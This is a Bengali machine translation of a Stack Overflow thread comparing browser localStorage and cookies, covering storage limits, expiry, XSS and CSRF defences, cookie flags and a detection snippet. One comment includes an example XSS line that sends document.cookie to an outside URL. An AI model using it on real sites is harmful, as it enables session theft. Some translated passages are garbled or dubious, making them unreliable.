স্থানীয় স্টোরেজ বনাম কুকিজ


1026

সমস্ত কুকিজকে স্থানীয় স্টোরেজে স্থানান্তরিত করে আমি আমার ওয়েবসাইটগুলিতে লোডের সময়গুলি হ্রাস করতে চাই কারণ তাদের কার্যকারিতা একই বলে মনে হয়। সুস্পষ্ট সামঞ্জস্যতা সমস্যাগুলি বাদ দিয়ে কুকি কার্যকারিতা প্রতিস্থাপন করতে স্থানীয় স্টোরেজটি ব্যবহার করার ক্ষেত্রে কি কোনও উপকার / কনস (বিশেষত কর্মক্ষমতা অনুযায়ী) রয়েছে?


107
সম্ভাব্য বিপর্যয়: সিকিউর (এসএসএল) পৃষ্ঠাগুলিতে লোকালস্টোর মান পৃথক করা হয়েছে। সুতরাং আপনার সাইটে যদি HTTP এবং https উভয় পৃষ্ঠাগুলি থাকে তবে আপনি কোনও https পৃষ্ঠা দেখার সময় কোনও HTTP পৃষ্ঠায় সেট করা মানগুলি অ্যাক্সেস করতে পারবেন না। একটি ম্যাজেন্টো স্টোরের একটি এজ্যাক্স মিনি কার্টের জন্য স্রেফ লোকালস্টোর চেষ্টা করেছেন। মহাকাব্য ব্যর্থ ...

6
আশ্চর্যজনকভাবে ভাল সমর্থিত (আমি যা প্রত্যাশা করছিলাম তার তুলনায়) caniuse.com/#search=localstores
সাইমন_উইভার

6
কিছু ব্যবহারকারীদের তাদের ব্রাউজারগুলিতে নিয়ম হিসাবে কুকিজ অক্ষম করে। স্থানীয় স্টোরেজ সেই ব্যবহারকারীদের জন্য আরও ভাল কাজ করতে পারে।
9:38

9
" সম্ভাব্য বিপর্যয়: সিকিউর (এসএসএল) পৃষ্ঠাগুলির [লোকালস্টোরেজ] মানগুলি পৃথক করা হয়েছে " এটি দুর্দান্ত উত্সাহটি
কৌতূহলী

13
এজন্য আপনার নিজের ওয়েবসাইটে কেবল এসএসএলকে জোর করা উচিত ... আপনার যদি ইতিমধ্যে এসএসএল সংস্করণ উপলব্ধ থাকে তবে কোনও পৃষ্ঠার উভয় সংস্করণ সরবরাহ করার কোনও কারণ আমি দেখতে পাচ্ছি না।
এক্সজি

উত্তর:


1276

কুকিজ এবং স্থানীয় স্টোরেজ বিভিন্ন উদ্দেশ্যে পরিবেশন করে। কুকিগুলি মূলত সার্ভার-সাইড পড়ার জন্য , স্থানীয় সঞ্চয়স্থান কেবল ক্লায়েন্ট-সাইড দ্বারা পড়তে পারে । সুতরাং প্রশ্নটি হ'ল আপনার অ্যাপ্লিকেশনটিতে এই ডেটা - ক্লায়েন্ট বা সার্ভারের দরকার কার?

যদি এটি আপনার ক্লায়েন্ট (আপনার জাভাস্ক্রিপ্ট) হয় তবে তা সর্বদা স্যুইচ করুন। আপনি প্রতিটি HTTP শিরোনামে সমস্ত ডেটা প্রেরণ করে ব্যান্ডউইথ নষ্ট করছেন।

এটি যদি আপনার সার্ভার হয় তবে স্থানীয় স্টোরেজটি তেমন দরকারী নয় কারণ আপনাকে কোনওভাবে ডেটা ফরোয়ার্ড করতে হবে (অ্যাজাক্স বা লুকানো ফর্ম ক্ষেত্র বা কোনও কিছুর সাথে)। এটি ঠিক আছে যদি সার্ভারের প্রতিটি অনুরোধের জন্য মোট ডেটার একটি ছোট উপসেট প্রয়োজন।

আপনি আপনার সেশন কুকিকে কোনওভাবেই কুকি হিসাবে ছেড়ে যেতে চাইবেন।

প্রযুক্তিগত পার্থক্য অনুসারে এবং আমার বোধগম্যতা:

  1. ডেটা সংরক্ষণের পুরানো উপায় ছাড়াও কুকিজ আপনাকে 4096 বাইট (4095, আসলে) সীমা দেয় - এটি প্রতি কুকি। লোকাল স্টোরেজ ডোমেন প্রতি 5MB হিসাবে বড় - এসও প্রশ্ন এছাড়াও এর উল্লেখ করে।

  2. localStorageStorageইন্টারফেস একটি বাস্তবায়ন । এটি কোনও মেয়াদোত্তীর্ণ তারিখ ছাড়াই ডেটা সঞ্চয় করে এবং কেবল জাভাস্ক্রিপ্টের মাধ্যমে সাফ হয়ে যায়, বা ব্রাউজার ক্যাশে / স্থানীয়ভাবে সঞ্চিত ডেটা সাফ করে - কুকির মেয়াদ শেষ নয় unlike


30
এইচটিএমএল 5 এর সেশন স্কোপ স্টোরেজ রয়েছে যা সেশন কুকিজের প্রতিস্থাপন হিসাবেও ব্যবহার করা যেতে পারে।
প্যাট নিমিয়ার

5
@ প্যাটনিমিয়ার, আপনি sessionStorageব্রাউজারটি বন্ধ না হওয়া (ট্যাবটি নয়) শেষ হওয়া পর্যন্ত একটি কুকি হিসাবে ধরে নিতে পারেন । @ ডারকপোর্টার, উত্তরের জন্য ধন্যবাদ। তবে কুকিজ এবং স্থানীয় সঞ্চয়স্থানের মধ্যে প্রযুক্তিগত পার্থক্য শুনতে চাই । আপনার সম্পাদনার জন্য অপেক্ষা করছি
ওম শঙ্কর

28
@OmShankar আমি নই নিশ্চিত করুন যে আপনি এখনও এই সন্দেহ আছে, কিন্তু এখানে পার্থক্য যদি: localStorage থাকার বিষয়টি মতেই সময়, ক্লায়েন্টের cookiesসঙ্গে HTTP শিরোলেখ পাঠানো হয়। এটি তাদের মধ্যে সবচেয়ে বড় (তবে একমাত্র নয়) পার্থক্য।
আন্দ্রে ক্যালিল

15
যদি আপনার ক্লায়েন্ট অ্যাপ্লিকেশনটি আরএসটি এপিআই-তে কথা বলে, তবে সেশন আইডি সংরক্ষণ এবং প্রেরণ করতে কুকি ব্যবহার করা আরএসটি-তে মুখ্য নয়। সুতরাং, আমার কাছে কুকিগুলি একটি পুরানো প্রযুক্তির মতো দেখাচ্ছে যা সম্ভবত স্থানীয় স্টোরেজ (+ জাভাস্ক্রিপ্টের প্রয়োজনে যদি আপনাকে কিছু তথ্য যেমন সেশন আইডির মতো সার্ভারের কাছে দেওয়ার প্রয়োজন হয়) দিয়ে প্রতিস্থাপন করা উচিত।
Tvaroh

8
স্থানীয় স্টোরেজটি কুকিজের চেয়ে নিরাপদ পছন্দ নয়, কারণ এটি এক্সএসএস আক্রমণে ঝুঁকিপূর্ণ। ব্যক্তিগতভাবে, আমি একটি এনক্রিপ্ট করা এইচটিটিপিএস কুকি বেছে নিতে চাই (সম্ভবত জেডাব্লুটি বা জেডাব্লুই ব্যবহার করে), সাবধানতার সাথে পরিকল্পিত মেয়াদোত্তীর্ণকরণ স্কিম। অর্থাত্ কুকি-স্তরের মেয়াদোত্তীর্ণ 'নীতি' এবং একটি সার্ভার-সাইড কুকি 'পুনর্নবীকরণ' প্রক্রিয়া উভয়ই প্রয়োগ করুন, যাতে কোনও ত্রুটিযুক্ত তৃতীয় পক্ষের দ্বারা কুকি ব্যবহারের সুযোগ হ্রাস করা যায়। আমি এই বিষয়ে স্টর্ম্পাথের একটি নিবন্ধের অংশগুলি উদ্ধৃত করে নীচে একটি উত্তর লিখেছি।
এক্সট্রাস্পিলিটিটি

231

জেডাব্লুটিটির প্রসঙ্গে স্টোরম্পাথ এগুলি সংরক্ষণের সম্ভাব্য উপায়গুলি এবং প্রতিটি পদ্ধতির সাথে সম্পর্কিত (অসুবিধাগত) সুবিধাগুলি সম্পর্কে মোটামুটি সহায়ক নিবন্ধ লিখেছেন।

এটিতে এক্সএসএস এবং সিএসআরএফ আক্রমণগুলির একটি সংক্ষিপ্ত বিবরণ রয়েছে এবং আপনি কীভাবে তাদের লড়াই করতে পারবেন।

নীচের নিবন্ধটির কয়েকটি সংক্ষিপ্ত স্নিপেট সংযুক্ত করেছি, যদি নিবন্ধটি অফলাইনে নেওয়া হয় / তাদের সাইটটি নিচে যায়।

স্থানীয় স্টোরেজ

সমস্যা:

ওয়েব স্টোরেজ (লোকালস্টোরেজ / সেশনস স্টোরেজ) একই ডোমেনে জাভাস্ক্রিপ্টের মাধ্যমে অ্যাক্সেসযোগ্য। এর অর্থ হল যে আপনার সাইটে চলমান যে কোনও জাভাস্ক্রিপ্টের ওয়েব স্টোরেজে অ্যাক্সেস থাকবে এবং এর কারণে ক্রস-সাইট স্ক্রিপ্টিং (এক্সএসএস) আক্রমণে ঝুঁকিপূর্ণ হতে পারে। সংক্ষেপে XSS হ'ল এক ধরণের দুর্বলতা যেখানে কোনও আক্রমণকারী জাভাস্ক্রিপ্ট ইনজেক্ট করতে পারে যা আপনার পৃষ্ঠায় চলবে। বেসিক এক্সএসএস আক্রমণগুলি ফর্ম ইনপুটগুলির মাধ্যমে জাভাস্ক্রিপ্ট ইনজেক্ট করার চেষ্টা করে, যেখানে আক্রমণকারী সতর্ক করে দেয় ('আপনি হ্যাক হয়েছেন'); এটি ব্রাউজার দ্বারা চালিত হয় এবং অন্যান্য ব্যবহারকারীদের দ্বারা এটি দেখতে পারা যায় কিনা তা দেখতে কোনও ফর্মের মধ্যে

প্রতিরোধ:

এক্সএসএস প্রতিরোধের জন্য, সাধারণ প্রতিক্রিয়া হ'ল সমস্ত অবিশ্বস্ত ডেটা এড়ানো এবং এনকোড করা। তবে এটি পুরো গল্প থেকে দূরে। 2015 সালে, আধুনিক ওয়েব অ্যাপ্লিকেশনগুলি সিডিএন বা বাইরের অবকাঠামোতে হোস্ট করা জাভাস্ক্রিপ্ট ব্যবহার করে। আধুনিক ওয়েব অ্যাপ্লিকেশনগুলিতে এ / বি পরীক্ষার জন্য তৃতীয় পক্ষের জাভাস্ক্রিপ্ট লাইব্রেরি, ফানেল / বাজার বিশ্লেষণ এবং বিজ্ঞাপনগুলি অন্তর্ভুক্ত রয়েছে। আমরা আমাদের অ্যাপ্লিকেশনগুলিতে অন্যান্য লোকের কোড আমদানি করতে বোভারের মতো প্যাকেজ পরিচালকদের ব্যবহার করি।

আপনার ব্যবহৃত স্ক্রিপ্টগুলির মধ্যে একটির মধ্যে যদি আপত্তি হয় তবে কী হবে? ক্ষতিকারক জাভাস্ক্রিপ্ট পৃষ্ঠাটিতে এম্বেড করা যেতে পারে এবং ওয়েব স্টোরেজ আপোষযুক্ত। এই ধরণের এক্সএসএস আক্রমণগুলি তাদের অজান্তেই আপনার ওয়েবসাইট পরিদর্শনকারী প্রত্যেকের ওয়েব স্টোরেজ পেতে পারে। সম্ভবত এই কারণেই সংস্থাগুলির একগুচ্ছ ওয়েব স্টোরেজে কোনও মূল্যবোধ সঞ্চয় করতে বা কোনও তথ্যতে বিশ্বাস না করার পরামর্শ দেয়। এর মধ্যে সেশন শনাক্তকারী এবং টোকেন অন্তর্ভুক্ত রয়েছে।

স্টোরেজ মেকানিজম হিসাবে, ওয়েব স্টোরেজ স্থানান্তরকালে কোনও সুরক্ষিত মান প্রয়োগ করে না। যে কেউ ওয়েব স্টোরেজ পড়েন এবং এটি ব্যবহার করেন তাদের অবশ্যই যথাযথ পরিশ্রম করতে হবে তা নিশ্চিত করার জন্য যে তারা সর্বদা এইচটিটিপিএসের মাধ্যমে জেডব্লিউটি প্রেরণ করে এবং কখনও এইচটিটিপিতে নয়।

বিস্কুট

সমস্যা:

কুকিজ, যখন এইচটিটিপি কেবলমাত্র কুকি পতাকা ব্যবহার করা হয় তখন জাভাস্ক্রিপ্টের মাধ্যমে অ্যাক্সেসযোগ্য হয় না এবং এক্সএসএস-এর থেকে সুরক্ষিত থাকে। কুকি কেবল এইচটিটিপিএস এর মাধ্যমে প্রেরিত হয় তা গ্যারান্টি হিসাবে আপনি সিকিওর কুকি পতাকা সেট করতে পারেন। টোকেন বা সেশন ডেটা সংরক্ষণ করার জন্য অতীতে কুকিগুলির লিভারেজ করা এই মূল কারণগুলির মধ্যে একটি। আধুনিক বিকাশকারীরা কুকিগুলি ব্যবহার করতে দ্বিধাগ্রস্থ হন কারণ তাদের traditionতিহ্যগতভাবে সার্ভারে স্টোর থাকা দরকার এবং এভাবে RESTful সেরা অভ্যাসগুলি ভঙ্গ করা হয়। স্টোরেজ মেকানিজম হিসাবে কুকিগুলির সার্ভারে স্টেট থাকা দরকার না যদি আপনি কুকিতে একটি জেডাব্লুটি সঞ্চয় করে থাকেন। এটি কারণ যে জেডাব্লুটিটি সার্ভারকে অনুরোধটি পরিবেশন করার জন্য প্রয়োজনীয় সমস্ত কিছু আবদ্ধ করে।

তবে, কুকিজগুলি বিভিন্ন ধরণের আক্রমণে ঝুঁকিপূর্ণ: ক্রস-সাইট অনুরোধ জালিয়াতি (সিএসআরএফ)। সিএসআরএফ আক্রমণটি এমন এক ধরণের আক্রমণ যা ঘটে যখন কোনও দূষিত ওয়েবসাইট, ইমেল বা ব্লগ কোনও ব্যবহারকারীর ওয়েব ব্রাউজারকে কোনও বিশ্বস্ত সাইটে অনাকাঙ্ক্ষিত ক্রিয়া সম্পাদন করে যার উপর ব্যবহারকারী বর্তমানে প্রমাণীকৃত থাকে। এটি ব্রাউজার কীভাবে কুকিগুলি পরিচালনা করে তার একটি শোষণ। একটি কুকি কেবল সেই ডোমেনগুলিতে পাঠানো যেতে পারে যেখানে এটি অনুমোদিত allowed ডিফল্টরূপে, এটি সেই ডোমেন যা মূলত কুকি সেট করে। আপনি গ্যালাক্সিজ ডট কম বা hahagonnahackyou.com এ নির্বিশেষে কুকিকে একটি অনুরোধের জন্য প্রেরণ করা হবে।

প্রতিরোধ:

আধুনিক ব্রাউজার সমর্থন SameSiteপতাকা , ছাড়াও HttpOnlyএবং Secure। এই পতাকাটির উদ্দেশ্য হ'ল কুকি ক্রস-সাইট অনুরোধগুলিতে সঞ্চারিত হওয়া এবং বিভিন্ন ধরণের সিএসআরএফ আক্রমণ প্রতিরোধ করা।

সমর্থন করে না এমন ব্রাউজারগুলির জন্য SameSiteসিএসআরএফ সিঙ্ক্রোনাইজড টোকেন নিদর্শন ব্যবহার করে প্রতিরোধ করা যেতে পারে। এটি জটিল শোনাচ্ছে তবে সমস্ত আধুনিক ওয়েব ফ্রেমওয়ার্কের জন্য এটির সমর্থন রয়েছে।

উদাহরণস্বরূপ, কুকিটি কেবল আপনার ডোমেন দ্বারা অ্যাক্সেসযোগ্য তা যাচাই করার জন্য অ্যাঙ্গুলারজেএসের একটি সমাধান রয়েছে। সোজা AngularJS ডক্স থেকে:

এক্সএইচআর অনুরোধগুলি সম্পাদন করার সময়, $ http পরিষেবাটি কোনও কুকি থেকে একটি টোকন পড়ে (ডিফল্টরূপে, এক্সএসআরএফ-টোকেন) এবং এটি একটি HTTP শিরোনাম হিসাবে সেট করে (এক্স-এক্সএসআরএফ-টোকেন)। যেহেতু আপনার ডোমেনে চালিত কেবল জাভাস্ক্রিপ্টই কুকিটি পড়তে পারে, তাই আপনার সার্ভারকে নিশ্চিত করা যেতে পারে যে আপনার ডোমেনে চলছে জাভাস্ক্রিপ্ট থেকে এক্সএইচআর এসেছে। আপনি xsrfTokenJWT দাবী যুক্ত করে এই সিএসআরএফ সুরক্ষাটিকে রাষ্ট্রহীন করতে পারেন :

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "tom@andromeda.com",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

আপনার ওয়েব অ্যাপ্লিকেশন কাঠামোর সিএসআরএফ সুরক্ষা উপার্জন কুকিগুলিকে জেডাব্লুটিটি সংরক্ষণের জন্য শক্ত করে তোলে। আপনার এপিআই থেকে এইচটিটিপি রেফারার এবং অরিজিন শিরোনাম পরীক্ষা করেও সিএসআরএফ আংশিকভাবে প্রতিরোধ করা যেতে পারে। সিএসআরএফ আক্রমণগুলিতে রেফারার এবং অরিজিনের শিরোনামগুলি থাকবে যা আপনার আবেদনের সাথে সম্পর্কিত নয়।

সম্পূর্ণ নিবন্ধটি এখানে পাওয়া যাবে: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-stores/

টোকেনের কাঠামোর কাঠামোর সাথে কীভাবে জেডাব্লুটি টির সর্বোত্তম নকশা ও প্রয়োগ করা যায় সে সম্পর্কে তাদের একটি সহায়ক নিবন্ধ রয়েছে: https://stormpath.com/blog/jwt-theright-way/


6
দুর্দান্ত পয়েন্ট। স্থানীয় স্টোরেজ (বা এক্সএসের জন্য এটির অভাব) এর সুরক্ষা বিস্মিততার আগে এত ভাল পঠিত প্রশ্নের উপরে আগে উল্লেখ করা হয়নি - ভুল উত্তর দিয়ে আইএমএইচও এটি আরও সুরক্ষিত করে এমন একটি উত্তর ছাড়া!
ব্যারি পোলার্ড

24
আমি পুরো সুরক্ষা কথাটি সৎ হতে কিছুটা বিচলিত মনে করি। হ্যাঁ, localStorageপৃষ্ঠায় থাকা অন্যান্য স্ক্রিপ্টগুলিতে অ্যাক্সেসযোগ্য ... তবে তা হ'ল XMLHttpRequest... এবং হ্যাঁ এইচটিটিপি মাত্র ফ্ল্যাগটি কুকি চুরি করা থেকে রক্ষা করে তবে ব্রাউজারটি এখনও এটি স্বয়ংক্রিয়ভাবে ম্যাচিং ডোমেনে প্রেরণ করে তাই ... মূলত যখন আপনার দূষিত স্ক্রিপ্ট থাকে when আপনার পৃষ্ঠায় চলমান আপনি ইতিমধ্যে হ্যাক হয়েছে।
স্টিজন ডি উইট

3
@ স্টিজেডেভিট সুরক্ষার প্রতিটি স্তরের নিজস্ব শক্তি এবং দুর্বলতা রয়েছে। সুতরাং একাধিক সুরক্ষা স্তর রাখাই ভাল। শুধু আপনাকে উদাহরণ দিতে: এইচটিটিপিও অ-এজাক্স আক্রমণ পছন্দ করে window.location = 'http://google.com?q=' + escape(document.cookie);। এই আক্রমণটি ব্রাউজারগুলির সিআরএস চেককে বাইপাস করে।
মেমেট ওলসেন

ধরে নিচ্ছি বিজ্ঞাপনের মতো কিছু জিনিসের জন্য আপনার কাছে সম্পূর্ণ বিশ্বস্ত সরবরাহকারীর চেয়ে কম ... কেন আপনার বিজ্ঞাপনগুলি এমনকি আপনার নিজস্ব বিশ্বস্ত সামগ্রী হিসাবে একই ডোমেন দ্বারা পরিবেশিত হয়? বিজ্ঞাপনগুলি কেবল ওয়েবপৃষ্ঠায় প্রদর্শিত হতে হবে, সাধারণত পৃষ্ঠার ভিতরে তাদের জেএস চালানোর দরকার নেই। তৃতীয় পক্ষের সামগ্রীর জন্য এত সংহতকরণের জন্য আবদ্ধ।
কৌতূহলী

কোনও কুকিতে একটি সিএসআরএফ টোকেন (এটি কেবল সংজ্ঞা অনুসারে নন-এইচটিপি-হতে হবে যাতে এটি জাভাস্ক্রিপ্টের মাধ্যমে পড়তে পারে এবং একটি শিরোনামের মাধ্যমে প্রেরণ করা যায়) সুরক্ষা-ভিত্তিক যে কোনও কিছুকে সহায়তা করে? আমার সাইটটি যদি এক্সএস এর প্রতি ঝুঁকিপূর্ণ হয় তবে কুকি স্থানীয় / সেশন স্টোরেজের মতোই সহজভাবে পড়তে পারে।
জুয়াংামনিক

96

এর সাথে localStorage, ওয়েব অ্যাপ্লিকেশনগুলি স্থানীয়ভাবে ব্যবহারকারীর ব্রাউজারের মধ্যে ডেটা সঞ্চয় করতে পারে। এইচটিএমএল 5 এর আগে প্রতিটি সার্ভারের অনুরোধে অন্তর্ভুক্ত অ্যাপ্লিকেশন ডেটা কুকিগুলিতে সংরক্ষণ করতে হবে। ওয়েবসাইটের কার্যকারিতা প্রভাবিত না করে স্থানীয়ভাবে প্রচুর পরিমাণে ডেটা সংরক্ষণ করা যেতে পারে। যদিও localStorageএটি আরও আধুনিক, উভয় কৌশলগুলির জন্য কিছু সুবিধা ও বোধ রয়েছে।

বিস্কুট

পেশাদাররা

  • উত্তরাধিকার সমর্থন (এটি প্রায় চিরকালই হয়েছে)
  • অবিরাম ডেটা
  • মেয়াদ শেষ হওয়ার তারিখ

কনস

  • প্রতিটি ডোমেন এর সমস্ত কুকিজকে একক স্ট্রিংয়ে সঞ্চয় করে, যা ডেটা পার্সিংকে কঠিন করে তুলতে পারে
  • ডেটা এনক্রিপ্ট করা হয় যা একটি ইস্যুতে পরিণত হয় কারণ ... ... আকারে ছোট হলেও প্রতিটি এইচটিটিপি অনুরোধ সীমিত আকারের (4KB) দিয়ে কুকিজ প্রেরণ করা হয়
  • এসকিউএল ইঞ্জেকশনটি কোনও কুকি থেকে করা যেতে পারে

স্থানীয় স্টোরেজ

পেশাদাররা

  • বেশিরভাগ আধুনিক ব্রাউজার দ্বারা সমর্থন
  • ক্রমাগত ডেটা যা সরাসরি ব্রাউজারে সঞ্চিত থাকে
  • স্থানীয় স্টোরেজ ডেটাতে একই-উত্স বিধি প্রয়োগ হয়
  • প্রতিটি HTTP অনুরোধ সহ প্রেরণ করা হয় না
  • প্রতি ডোমেনে 5MB স্টোরেজ (এটি 5120KB)

কনস

  • এর আগে কোনও কিছুর দ্বারা সমর্থিত নয়: আইই 8, ফায়ারফক্স 3.5, সাফারি 4, ক্রোম 4, অপেরা 10.5, আইওএস 2.0, অ্যান্ড্রয়েড 2.0
  • সার্ভারের যদি ক্লায়েন্টের তথ্য সঞ্চিত থাকে তবে আপনি এটি উদ্দেশ্যমূলক পাঠাতে হবে।

localStorageসেশন একের সাথে ব্যবহারটি প্রায় অভিন্ন। তাদের বেশ localStorageকয়েকটি সঠিক পদ্ধতি রয়েছে, সুতরাং সেশন থেকে স্যুইচ করা সত্যিই বাচ্চার খেলা। তবে, যদি আপনার অ্যাপ্লিকেশনটির জন্য সঞ্চিত ডেটা সত্যিই গুরুত্বপূর্ণ, আপনি সম্ভবত কুকিজ ব্যবহার করবেন ব্যাকআপ হিসাবে এটি ব্যবহার না করায় localStorage। আপনি যদি ব্রাউজার সমর্থন পরীক্ষা করতে চান তবে আপনাকে যা করতে localStorageহবে তা হ'ল এই সাধারণ স্ক্রিপ্টটি চালানো:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

"সিকিউর (এসএসএল) পৃষ্ঠাগুলিতে স্থানীয় স্থানীয় স্টোরেজের মানগুলি বিচ্ছিন্ন করা হয়েছে" কেউ মনে রাখবেন যে আপনি যদি 'HTTP' থেকে 'https' সুরক্ষিত প্রোটোকলে স্যুইচ করেন তবে লোকাল স্টোরেজ উপলব্ধ হবে না, যেখানে কুকিটি এখনও অ্যাক্সেসযোগ্য হবে। আপনি সুরক্ষিত প্রোটোকল নিয়ে কাজ করেন কিনা তা সম্পর্কে সচেতন হওয়া গুরুত্বপূর্ণ।


1
আপনি যে চেকটি করছেন তা খুব নির্ভরযোগ্য নয়। ব্রাউজার এবং মোডগুলি (বেসরকারী) রয়েছে যার স্টোরেজ অবজেক্ট রয়েছে, তবুও এটিতে তীব্র মান নির্ধারণ করতে ব্যর্থ। প্রকৃত সমর্থন যাচাইয়ের একমাত্র উপায় হ'ল এটিতে কোনও সেট মুছে ফেলার চেষ্টা করা।
জাভাস্ক্রিপ্ট

পয়েন্ট নেওয়া, আমি জো উত্তর বিষয়ে আমার উত্তর আপডেট করেছি: stackoverflow.com/questions/16427636/...
DevWL

10
যেহেতু 'এসকিউএল ইঞ্জেকশন করা যায়' কুকির বিপরীতে হিসাবে তালিকাভুক্ত, আপনি বলছেন যে এটি লোকাল স্টোরেজ থেকে করা যায় না?
মার্টিন স্নাইডার

কুকিজের জন্য আরেকটি প্রো। কুকিজ HTTP কেবল হিসাবে চিহ্নিত করা যেতে পারে। এর অর্থ এটি জাভাস্ক্রিপ্ট থেকে অ্যাক্সেস করা যাবে না যার ফলস্বরূপ যে কোনও দূষিত এক্সএসএস আক্রমণ কুকির সামগ্রীগুলি পুনরুদ্ধার করতে পারে না। এ কারণে, আমি অগত্যা বলব না যে স্থানীয় সঞ্চয়স্থান কুকিজের চেয়ে বেশি সুরক্ষিত।
wp-overwatch.com

@ মিঃ মিঃ যদিও এক্সএসএস আক্রমণগুলি কোনও HTTP কেবল কুকিটি পড়তে পারে না, তবে আক্রমণকারী এখনও কোনও ব্রাউজার সেশনেই সীমাবদ্ধ (সংজ্ঞা অনুসারে) ব্যবহারকারী যে কোনও HTTP অনুরোধ করতে পারে তা করতে পারে । অধিবেশন কুকিটি একটি অস্বচ্ছ শনাক্তকারী, যেমন প্রায় সমস্ত সেশন কুকিজই রয়েছে, কুকির মানটি কেবল এটি সহ একটি এইচটিটিপি অনুরোধ সম্পাদন করতে কার্যকর: আপনি কেবল কুকি মান সহ কিছুই শিখবেন না। (দ্রষ্টব্য, সেশন কুকিজ কোনও সময় কোনও নির্দিষ্ট উত্সের আইপি ঠিকানা, ব্যবহারকারী-এজেন্ট শিরোনাম বা অন্যান্য ব্রাউজারের বৈশিষ্ট্যের সাথে লিঙ্কযুক্ত হতে পারে; এক্সএসএস আক্রমণ ব্রাউজার থেকে এইচটিটিপি অনুরোধ সম্পাদন করে, তাই এই ম্যাচগুলি))
কৌতূহলী

7

ভাল, স্থানীয় স্টোরেজ গতি ক্লায়েন্টটি যে ব্রাউজারটি ব্যবহার করছে তার পাশাপাশি অপারেটিং সিস্টেমের উপরও নির্ভর করে। কোনও ম্যাকের ক্রোম বা সাফারি একটি পিসিতে ফায়ারফক্সের চেয়ে অনেক দ্রুততর হতে পারে, বিশেষত নতুন এপিআইগুলির সাথে। সর্বদা হিসাবে যদিও, পরীক্ষাটি আপনার বন্ধু (আমি কোনও মানদণ্ড খুঁজে পাইনি)।

কুকি বনাম স্থানীয় স্টোরেজে আমি সত্যিই একটি বিশাল পার্থক্য দেখতে পাচ্ছি না। এছাড়াও, আপনার সামঞ্জস্যতা সম্পর্কিত বিষয়ে আরও চিন্তিত হওয়া উচিত: সমস্ত ব্রাউজারগুলি এমনকি নতুন এইচটিএমএল 5 এপিআই সমর্থন করতে শুরু করে না, তাই গতি এবং সামঞ্জস্যের জন্য কুকি আপনার সেরা বাজি হতে পারে।


2
এটি কেবলমাত্র একটি অভ্যন্তরীণ প্রকল্প, সুতরাং ক্রস-ব্রাউজার-সামঞ্জস্যের মতো জিনিসগুলি সত্যই প্রয়োজনীয় নয়। কারণ প্রতিটি HTTPRequest (আমার অ্যাপ্লিকেশনটিতে ~ 77 টি অনুরোধ রয়েছে) সহ কুকিজ প্রেরণ করা হয়েছে যার অর্থ ~ 500kB অতিরিক্ত ওভারহেড। আমি জানি যে সুস্পষ্ট সমাধানটি একটি সিডিএন, তবে আমি এমন কিছু চেষ্টা করতে চাই যা সার্ভার-নির্ভর নয়। আমি নিজে কোনও মানদণ্ড খুঁজে পাইনি এবং সে কারণেই আমি আশা করছিলাম যে এখানকার কেউ জানতে পারে।
জিও বোর্জে

14
ক্রোম বা সাফারি ম্যাকের উপরে কেন দ্রুত হবে? আপনি ম্যাক, লিনাক্স বা উইন্ডোজে থাকুক না কেন এটি বেশ একই ব্রাউজার কোডে চলছে।
কে কে কোয়ান

7

এটি উল্লেখ করার মতো বিষয়ও যে localStorageব্যবহারকারীরা মোবাইল সাফারির কয়েকটি সংস্করণে "ব্যক্তিগত" মোডে ব্রাউজ করলে ব্যবহার করা যায় না।

এমডিএন ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ) থেকে উদ্ধৃত :

দ্রষ্টব্য: আইওএস 5.1 দিয়ে শুরু করে, সাফারি মোবাইল লোকাল স্টোরেজ ডেটা ক্যাশে ফোল্ডারে সঞ্চয় করে, যা ওএসের নির্দেশে, মাঝে মাঝে পরিষ্কার করার বিষয়, সাধারণত স্পেস কম থাকলে। সাফারি মোবাইলের ব্যক্তিগত ব্রাউজিং মোড লোকালস্টোরারে লেখা সম্পূর্ণরূপে বাধা দেয়।


6

স্থানীয় স্টোরেজ 5 মিমি অবধি অফলাইন ডেটা সংরক্ষণ করতে পারে, যেখানে সেশনটি 5 এমবি ডেটা পর্যন্ত সঞ্চয় করতে পারে। তবে কুকিগুলি পাঠ্য বিন্যাসে 4kb ডেটা সংরক্ষণ করতে পারে।

LOCAl এবং সেশন স্টোরেজ ডেটা JSON ফর্ম্যাটে, এভাবে পার্স করা সহজ। তবে কুকিজের ডেটা স্ট্রিং ফর্ম্যাটে।


5

কুকিজ :

  1. এইচটিএমএল 5 এর আগে পরিচয় করিয়ে দেওয়া।
  2. মেয়াদ শেষ হওয়ার তারিখ রয়েছে।
  3. জেএস দ্বারা বা ব্রাউজারের সাফ ব্রাউজিং ডেটা দ্বারা বা মেয়াদ শেষ হওয়ার তারিখের পরে ক্লিয়ার্ড ard
  4. প্রতিটি অনুরোধ অনুযায়ী সার্ভারে প্রেরণ করা হবে।
  5. ক্ষমতা 4KB।
  6. কেবল স্ট্রিংই কুকিগুলিতে সঞ্চয় করতে সক্ষম।
  7. দুটি ধরণের কুকিজ রয়েছে: অবিরাম এবং অধিবেশন।

স্থানীয় স্টোরেজ:

  1. এইচটিএমএল 5 এর সাথে পরিচয় করিয়ে দেওয়া।
  2. মেয়াদ শেষ হওয়ার তারিখ নেই।
  3. জেএস দ্বারা বা ব্রাউজারের সাফ ব্রাউজিং ডেটা দ্বারা ক্লিয়ার্ড।
  4. আপনি সার্ভারে ডেটা প্রেরণ করতে হবে তা নির্বাচন করতে পারেন।
  5. ধারণক্ষমতা 5MB।
  6. ডেটা অনির্দিষ্টকালের জন্য সংরক্ষণ করা হয় এবং এটি অবশ্যই একটি স্ট্রিং।
  7. শুধুমাত্র এক প্রকার আছে।

Local. লোকাল স্টোরেজ কেবল স্ট্রিং সংরক্ষণ করতে পারে, আদিম এবং বস্তুকে স্টোরেজের আগে স্ট্রেনে রূপান্তর করতে হবে, session. সেশন স্টোরেজটি উপলব্ধ রয়েছে এবং এটি স্থির না করে লোকালস্টোরাজের সমান
রবি মাইলজাকাক

